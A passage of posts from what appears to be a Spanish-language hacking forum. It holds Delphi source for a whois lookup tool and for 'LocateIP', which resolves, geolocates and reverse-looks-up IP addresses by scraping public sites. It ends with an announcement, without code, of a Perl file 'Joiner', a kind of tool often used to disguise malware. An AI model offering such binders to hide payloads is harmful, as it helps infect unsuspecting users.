    ShowMessage('Write the domain');
  end
  else
  begin
    sStatusBar1.Panels[0].text := '[+] Searching ...';
    Form1.sStatusBar1.Update;

    sMemo1.Clear;
    sMemo1.Lines.text := IdWhois1.whois(sEdit1.text);

    sStatusBar1.Panels[0].text := '';
    Form1.sStatusBar1.Update;
  end;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#199
Delphi / [Delphi] LocateIP 0.1
Abril 25, 2013, 05:46:23 PM
Traduccion a Delphi de este programa para localizar una IP.

Una imagen :



El codigo :

Código: delphi

// LocateIP 0.1
// Coded By Doddy H in the year 2013
// Based on the services :
// To get IP -- http://whatismyipaddress.com/
// To locate IP -- http://www.melissadata.com/
// To get DNS -- http://www.ip-adress.com/

unit locateip;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sLabel, sGroupBox, sButton,
  sEdit, sListBox, ComCtrls, sStatusBar, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx, IdMultipartFormData;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sGroupBox3: TsGroupBox;
    sListBox1: TsListBox;
    PerlRegEx1: TPerlRegEx;
    IdHTTP1: TIdHTTP;
    sStatusBar1: TsStatusBar;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  rta: string;
  z: integer;
  par: TIdMultiPartFormDataStream;
begin

  if sEdit1.text = '' then
  begin
    ShowMessage('Write the target');
  end
  else
  begin
    sStatusBar1.Panels[0].text := '[+] Getting IP ...';
    Form1.sStatusBar1.Update;

    par := TIdMultiPartFormDataStream.Create;
    par.AddFormField('DOMAINNAME', sEdit1.text);

    rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

    PerlRegEx1.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
    PerlRegEx1.Subject := rta;

    if PerlRegEx1.Match then
    begin
      sEdit1.text := PerlRegEx1.SubExpressions[2];

      // Locating ...

      sStatusBar1.Panels[0].text := '[+] Locating ...';
      Form1.sStatusBar1.Update;

      rta := IdHTTP1.Get(
        'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
          sEdit1.text);

      PerlRegEx1.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
      PerlRegEx1.Subject := rta;

      if PerlRegEx1.Match then
      begin
        sEdit2.text := PerlRegEx1.SubExpressions[2];
      end
      else
      begin
        sEdit2.text := 'Not Found';
      end;

      PerlRegEx1.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
      PerlRegEx1.Subject := rta;

      if PerlRegEx1.Match then
      begin
        sEdit3.text := PerlRegEx1.SubExpressions[2];
      end
      else
      begin
        sEdit3.text := 'Not Found';
      end;

      PerlRegEx1.Regex :=
        'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
      PerlRegEx1.Subject := rta;

      if PerlRegEx1.Match then
      begin
        sEdit4.text := PerlRegEx1.SubExpressions[2];
      end
      else
      begin
        sEdit4.text := 'Not Found';
      end;

      //

      // Get DNS

      sStatusBar1.Panels[0].text := '[+] Getting DNS ...';
      Form1.sStatusBar1.Update;

      sListBox1.Items.Clear;

      rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + sEdit1.text);

      PerlRegEx1.Regex := 'whois\/(.*?)\">Whois';
      PerlRegEx1.Subject := rta;

      while PerlRegEx1.MatchAgain do
      begin
        for z := 1 to PerlRegEx1.SubExpressionCount do
          sListBox1.Items.Add(PerlRegEx1.SubExpressions[z]);
      end;

      //

    end
    else
    begin
      sStatusBar1.Panels[0].text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;

    sStatusBar1.Panels[0].text := '';
    Form1.sStatusBar1.Update;

  end;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

#200
Perl / [Perl] Project DH Joiner 0.5
Marzo 31, 2013, 06:53:32 PM
Un simple Joiner hecho en Perl.

Una imagen del generador :



Pueden bajar el programa desde You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.